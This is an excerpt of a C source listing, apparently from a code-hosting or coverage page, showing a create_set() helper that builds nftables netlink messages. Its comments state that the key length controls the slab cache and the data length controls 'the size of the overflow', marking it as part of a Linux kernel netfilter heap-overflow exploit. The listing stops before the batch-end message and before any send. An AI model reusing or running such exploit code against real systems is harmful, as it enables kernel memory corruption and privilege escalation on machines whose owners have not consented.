create_set(): Create a netfilter set * @sock: Socket used to communicate throught the netfilter netlink * @set_name: Name of the created set * @set_keylen: Length of the keys of this set. Used in the exploit to control the used cache * @data_len: Length of stored data. Used to control the size of the overflow * @table_name: Name of the table that stores this set * @id: ID of the created set
| 528 | * @table_name: Name of the table that stores this set |
| 529 | * @id: ID of the created set */ |
| 530 | void create_set(int sock, const char *set_name, uint32_t set_keylen, uint32_t data_len, const char *table_name, uint32_t id) { |
| 531 | struct msghdr msg; |
| 532 | struct sockaddr_nl dest_snl; |
| 533 | struct nlmsghdr *nlh_batch_begin; |
| 534 | struct nlmsghdr *nlh_payload; |
| 535 | struct nlmsghdr *nlh_batch_end; |
| 536 | struct nfgenmsg *nfm; |
| 537 | struct nlattr *attr; |
| 538 | uint64_t nlh_payload_size; |
| 539 | struct iovec iov[3]; |
| 540 | |
| 541 | // Prepare the netlink sockaddr for msg |
| 542 | memset(&dest_snl, 0, sizeof(struct sockaddr_nl)); |
| 543 | dest_snl.nl_family = AF_NETLINK; |
| 544 | |
| 545 | // 1. First netlink message: batch_begin */ |
| 546 | nlh_batch_begin = get_batch_begin_nlmsg(); |
| 547 | |
| 548 | // 2. Second netlink message : Set attributes */ |
| 549 | nlh_payload_size = sizeof(struct nfgenmsg); // Mandatory |
| 550 | nlh_payload_size += S8_NLA_SIZE; // NFTA_SET_TABLE |
| 551 | nlh_payload_size += S8_NLA_SIZE; // NFTA_SET_NAME |
| 552 | nlh_payload_size += U32_NLA_SIZE; // NFTA_SET_ID |
| 553 | nlh_payload_size += U32_NLA_SIZE; // NFTA_SET_KEY_LEN |
| 554 | nlh_payload_size += U32_NLA_SIZE; // NFTA_SET_FLAGS |
| 555 | nlh_payload_size += U32_NLA_SIZE; // NFTA_SET_DATA_TYPE |
| 556 | nlh_payload_size += U32_NLA_SIZE; // NFTA_SET_DATA_LEN |
| 557 | nlh_payload_size = NLMSG_SPACE(nlh_payload_size); |
| 558 | |
| 559 | // Allocation |
| 560 | nlh_payload = (struct nlmsghdr *)malloc(nlh_payload_size); |
| 561 | if (!nlh_payload) |
| 562 | error("malloc"); |
| 563 | |
| 564 | memset(nlh_payload, 0, nlh_payload_size); |
| 565 | |
| 566 | // Fill the required fields |
| 567 | nlh_payload->nlmsg_len = nlh_payload_size; |
| 568 | nlh_payload->nlmsg_type = (NFNL_SUBSYS_NFTABLES << 8) | NFT_MSG_NEWSET; |
| 569 | nlh_payload->nlmsg_pid = getpid(); |
| 570 | nlh_payload->nlmsg_flags = NLM_F_REQUEST | NLM_F_CREATE; |
| 571 | nlh_payload->nlmsg_seq = 0; |
| 572 | |
| 573 | // Setup the nfgenmsg |
| 574 | nfm = (struct nfgenmsg *)NLMSG_DATA(nlh_payload); |
| 575 | nfm->nfgen_family = NFPROTO_INET; |
| 576 | |
| 577 | // Setup the attributes |
| 578 | attr = (struct nlattr *)((void *)nlh_payload + NLMSG_SPACE(sizeof(struct nfgenmsg))); |
| 579 | attr = set_str8_attr(attr, NFTA_SET_TABLE, table_name); |
| 580 | attr = set_str8_attr(attr, NFTA_SET_NAME, set_name); |
| 581 | attr = set_u32_attr(attr, NFTA_SET_ID, id); |
| 582 | attr = set_u32_attr(attr, NFTA_SET_KEY_LEN, set_keylen); |
| 583 | attr = set_u32_attr(attr, NFTA_SET_FLAGS, NFT_SET_MAP); |
| 584 | attr = set_u32_attr(attr, NFTA_SET_DATA_TYPE, 0); |
| 585 | set_u32_attr(attr, NFTA_SET_DATA_LEN, data_len); |
| 586 | |
| 587 | // 3. Last netlink message: batch_end |
no test coverage detected